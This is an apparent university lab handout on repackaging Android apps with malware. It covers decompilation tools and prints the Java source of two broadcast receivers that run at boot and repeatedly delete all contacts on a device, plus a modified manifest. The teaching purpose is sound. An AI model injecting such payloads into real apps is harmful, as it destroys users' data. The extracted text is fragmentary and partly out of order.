Lab 6: Inject Android Malware Into A Benign App
Lab 6: Inject Android Malware Into A Benign App
The goal of this lab is to to better understand the repackaging-based Android malware attack. In particular, it is
demonstrated how to repackage a legitimate Android app from Google Play Market into which a malicious payload
has been injected. The malicious payload mimics one of the malicious behaviors of Geinimi malware but has been
simplified so you can see the overall mechanics of the attack. The Command and Control mechanisms in Geinimi
malware are also removed.
PLEASE NOTE: the activities and materials provided in this lab are only for education purpose and it is NOT intended for piracy
or other non-legal uses.
PLEASE BE AWARE: the malicious payload will delete all the contacts on a device. Do not try this lab on your personal phone or,
if a personal Android device will be used, make a backup of the data on device.
For any Android app, one can obtain a content structure within the
APK file of the app, similar to that shown in Figure 2, using file archival
management software such as 7-zip. At this stage, all the xml files,
resource files, and the app code are encoded or compiled. Therefore
reverse engineering is needed.
• Reverse Engineering: Disassembly and Decompilation
The processes of the disassembly and decompilation of an Android app
are illustrated in Figure 3. Open-source tools for the disassembly and
decompilation are the following:
→ Disassembly Tool
apktool: Acquired in Lab 5
→ Decompilation Tool
dex2jar: http://dex2jar.googlecode.com/ files/dex2jar-0.0.9.15.zip
JD-GUI: http://jd.benow.ca/
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
Further Optimization
Other optimizations can also be applied in order to better protect an app, for exmple:
Optimization and Obfuscation using ProGuard
http://developer.android.com/tools/help/proguard.html
Application Licensing
http://developer.android.com/google/play/licensing/index.html
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.util.Calendar;
@Override
public void onReceive(Context context, Intent intent) {
Log.i("StartAttack", "onReceive");
AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM SERVICE);
Intent i = new Intent(context, RunTrojan.class);
//i.setAction("android.trojan.action.BC ACTION");
PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG CANCEL CURRENT);
service.setInexactRepeating(AlarmManager.RTC WAKEUP, cal.getTimeInMillis(), TIME, pending);
Log.i("StartAttack", count++ +" times");
}
}
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.util.Log;
@Override
public void onReceive(Context context, Intent intent) {
Log.i("LOG", "deleteContacts");
ContentResolver contentResolver = context.getContentResolver();
Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT URI, null, null, null, null);
while (cursor.moveToNext()) {
String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP KEY));
Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT LOOKUP URI,lookupKey);
Log.i("LOG", uri.toString());
contentResolver.delete(uri, null, null);
}
}
}
• Malicious Code
The code representing malicious code in this lab is much simpler than malicious code that is typically found in real-world Android
malware. The code consists of two Android BroadcastReceiver classes:
→ Class StartAttack extends BroadcastReceiver listens for the BOOT COMPLETED event and uses the AlarmManager (devel-
oper.android.com/reference/android/app/AlarmManager.html) to schedule the periodic invocation of a method in the
RunTrojan class. Source code is shown in Figure 6. Note that a new Intent object is created around the RunTrojan
class. The idea is to send a signal that is caught by the onReceive method of the RunTrojan class. The commented line
needs to be uncommented to do this. More on this later.
→ Class RunTrojan extends BroadcastReceiver. Its onReceive method will be invoked by the systems AlarmManager to delete
all contacts on the device in the while loop. Source code is shown in Figure 7.
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="edu.uc.cs.androidsecurity.trojan.RunTrojan"/>
<intent-filter>
</intent-filter>
<receiver android:name="edu.uc.cs.androidsecurity.trojan.StartAttack">
<intent-filter>
</intent-filter>
</receiver>
</application>
</manifest>
Figure 8: The modified AndroidManifest.xml file. Additions to the original file are shown in red